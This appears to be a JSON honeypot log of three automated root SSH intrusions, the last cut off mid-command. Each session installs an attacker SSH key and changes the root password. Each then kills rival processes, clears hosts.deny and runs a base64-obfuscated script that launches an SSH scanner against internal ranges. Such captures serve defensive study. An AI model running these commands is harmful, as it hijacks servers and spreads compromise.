{"id":"74526c11-02f0-421e-bc64-60a9b9ce3ee7","name":"gilded-glacial-wombat","protocol":"ssh","channel_kind":"exec","src_ip":"103.143.238.100","src_port":53956,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":257,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T05:47:19.457008+00:00","ended_at":"2026-08-26T05:47:19.533615+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3807,"events":[{"seq":1,"at":"2026-08-26T05:46:55.779056+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T05:46:56.038155+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T05:46:59.312882+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T05:46:59.313348+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T05:46:59.575431+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lAfQVeGLAzYw\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T05:46:59.827673+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T05:47:00.083782+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T05:47:00.084666+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T05:47:00.209401+00:00","kind":"output","latency_ms":635,"data":""},{"seq":10,"at":"2026-08-26T05:47:00.343793+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T05:47:01.094588+00:00","kind":"output","latency_ms":749,"data":"15888 2143 12345 0 0 0"},{"seq":12,"at":"2026-08-26T05:47:01.347554+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T05:47:01.812077+00:00","kind":"output","latency_ms":464,"data":"-rwxr-xr-x 1 root root 142K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-26T05:47:02.062067+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T05:47:02.062533+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T05:47:02.324335+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T05:47:02.325352+00:00","kind":"output","latency_ms":null,"data":" 05:47:02 up 6 days, 2:37, 0 user, load average: 0.25, 0.2, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T05:47:02.575825+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T05:47:02.576332+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T05:47:02.837127+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T05:47:02.837614+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T05:47:03.103674+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T05:47:03.104305+00:00","kind":"output","latency_ms":null,"data":"top - 05:47:03 up 6 days, 2:37, 0 user, load average: 0.25, 0.2, 0.15\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T05:47:03.359138+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T05:47:03.371998+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T05:47:03.619239+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T05:47:03.619713+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T05:47:03.866670+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T05:47:03.867407+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T05:47:04.111547+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T05:47:05.152471+00:00","kind":"output","latency_ms":1040,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-26T05:47:05.408700+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T05:47:05.748465+00:00","kind":"output","latency_ms":338,"data":"29G"},{"seq":34,"at":"2026-08-26T05:47:06.736723+00:00","kind":"input","latency_ms":null,"data":"echo \"root 12345678900987654321\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-26T05:47:06.992317+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-26T05:47:07.294733+00:00","kind":"output","latency_ms":301,"data":""},{"seq":37,"at":"2026-08-26T05:47:07.854920+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-26T05:47:08.551896+00:00","kind":"output","latency_ms":703,"data":"root 12345678900987654321"},{"seq":39,"at":"2026-08-26T05:47:08.809351+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-26T05:47:09.208560+00:00","kind":"output","latency_ms":398,"data":"root 12345678900987654321"},{"seq":41,"at":"2026-08-26T05:47:09.459320+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-26T05:47:09.714151+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-26T05:47:10.069880+00:00","kind":"output","latency_ms":355,"data":"1"},{"seq":44,"at":"2026-08-26T05:47:10.327682+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-26T05:47:10.692594+00:00","kind":"output","latency_ms":365,"data":"1"},{"seq":46,"at":"2026-08-26T05:47:10.950315+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-26T05:47:19.457666+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-26T05:47:19.458204+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"12345678900987654321","method":"password","accepted":true,"tier":"other"}]} {"id":"c0f1f91f-14eb-443c-927e-66e77cd79df1","name":"golden-genial-skink","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.224.160","src_port":56948,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":648,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T05:01:27.203810+00:00","ended_at":"2026-08-26T05:01:27.406284+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3963,"events":[{"seq":1,"at":"2026-08-26T05:00:29.624742+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T05:00:30.280132+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T05:00:36.486850+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T05:00:36.488427+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T05:00:37.135555+00:00","kind":"input","latency_ms":null,"data":"echo \"root:9exLzm2gmtBl\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T05:00:37.786310+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T05:00:38.009202+00:00","kind":"output","latency_ms":872,"data":""},{"seq":8,"at":"2026-08-26T05:00:38.434473+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-26T05:00:38.435377+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T05:00:39.084919+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T05:00:39.889875+00:00","kind":"output","latency_ms":804,"data":"15888 11234 4654 0 0 0"},{"seq":12,"at":"2026-08-26T05:00:40.539045+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T05:00:41.368595+00:00","kind":"output","latency_ms":828,"data":"-rwxr-xr-x 1 root root 133K Apr 23 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-26T05:00:42.017954+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T05:00:42.018684+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T05:00:42.668688+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T05:00:42.669189+00:00","kind":"output","latency_ms":null,"data":" 05:00:42 up 6 days, 1:50, 0 user, load average: 0.14, 0.13, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T05:00:43.317477+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T05:00:43.317840+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T05:00:43.965885+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T05:00:43.966570+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T05:00:44.616755+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T05:00:44.617472+00:00","kind":"output","latency_ms":null,"data":"top - 05:00:44 up 6 days, 1:50, 0 user, load average: 0.14, 0.13, 0.16\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T05:00:45.264632+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T05:00:45.266483+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T05:00:45.912220+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T05:00:45.913340+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T05:00:46.560539+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T05:00:46.561121+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T05:00:47.209114+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T05:00:48.534181+00:00","kind":"output","latency_ms":1313,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-26T05:00:49.185754+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T05:00:49.851487+00:00","kind":"output","latency_ms":668,"data":"25G"},{"seq":34,"at":"2026-08-26T05:00:55.065031+00:00","kind":"input","latency_ms":null,"data":"echo \"root 123654\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-26T05:00:55.715026+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-26T05:00:56.080592+00:00","kind":"output","latency_ms":365,"data":""},{"seq":37,"at":"2026-08-26T05:00:58.025256+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-26T05:00:58.541357+00:00","kind":"output","latency_ms":515,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-26T05:00:59.192639+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-26T05:00:59.663911+00:00","kind":"output","latency_ms":473,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-26T05:01:00.312100+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-26T05:01:00.957523+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-26T05:01:01.406689+00:00","kind":"output","latency_ms":447,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-26T05:01:02.054784+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-26T05:01:02.491545+00:00","kind":"output","latency_ms":436,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-26T05:01:03.139999+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-26T05:01:03.479606+00:00","kind":"output","latency_ms":339,"data":""},{"seq":48,"at":"2026-08-26T05:01:27.204388+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-26T05:01:27.205588+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"123654","method":"password","accepted":true,"tier":"other"}]} {"id":"02d24a53-b8a1-475b-9430-57bff8df9935","name":"dapper-umber-bullfinch","protocol":"ssh","channel_kind":"exec","src_ip":"107.150.103.210","src_port":26246,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":250,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T21:16:25.635410+00:00","ended_at":"2026-08-25T21:16:25.703055+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3446,"events":[{"seq":1,"at":"2026-08-25T21:15:46.303040+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T21:15:46.552356+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T21:15:57.407822+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T21:15:57.408657+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T21:15:57.658726+00:00","kind":"input","latency_ms":null,"data":"echo \"root:0VamHu2EkenX\"|chpasswd|bash"},{"seq":6,"at":"2026-08-25T21:15:57.907403+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-25T21:15:58.156320+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T21:15:58.157427+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T21:15:58.211852+00:00","kind":"output","latency_ms":552,"data":""},{"seq":10,"at":"2026-08-25T21:15:58.406913+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-25T21:15:58.994323+00:00","kind":"output","latency_ms":586,"data":"15888 0 15888 0 0 0"},{"seq":12,"at":"2026-08-25T21:15:59.243142+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-25T21:15:59.815714+00:00","kind":"output","latency_ms":571,"data":"-rwxr-xr-x 1 root root 133K Jan 24 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-25T21:16:00.065080+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T21:16:00.065749+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-25T21:16:00.316816+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-25T21:16:00.317368+00:00","kind":"output","latency_ms":null,"data":" 21:16:00 up 5 days, 18:06, 0 user, load average: 0.21, 0.24, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-25T21:16:00.569063+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-25T21:16:00.569509+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-25T21:16:00.817394+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-25T21:16:00.817837+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-25T21:16:01.068098+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-25T21:16:01.068660+00:00","kind":"output","latency_ms":null,"data":"top - 21:16:01 up 5 days, 18:06, 0 user, load average: 0.21, 0.24, 0.18\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-25T21:16:01.318431+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-25T21:16:01.319034+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-25T21:16:01.569819+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-25T21:16:01.570466+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-25T21:16:01.819930+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-25T21:16:01.820422+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-25T21:16:02.070369+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-25T21:16:02.681961+00:00","kind":"output","latency_ms":611,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-25T21:16:02.932207+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-25T21:16:03.399197+00:00","kind":"output","latency_ms":466,"data":"24.02G"},{"seq":34,"at":"2026-08-25T21:16:11.548824+00:00","kind":"input","latency_ms":null,"data":"echo \"root 1qaz@WSX,./\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-25T21:16:11.797170+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-25T21:16:12.626639+00:00","kind":"output","latency_ms":828,"data":""},{"seq":37,"at":"2026-08-25T21:16:12.643052+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-25T21:16:13.196664+00:00","kind":"output","latency_ms":554,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-25T21:16:13.446904+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-25T21:16:13.962860+00:00","kind":"output","latency_ms":514,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-25T21:16:14.213144+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T21:16:14.477365+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-25T21:16:14.932299+00:00","kind":"output","latency_ms":469,"data":"1"},{"seq":44,"at":"2026-08-25T21:16:15.183454+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-25T21:16:15.871698+00:00","kind":"output","latency_ms":687,"data":"1"},{"seq":46,"at":"2026-08-25T21:16:16.123042+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo 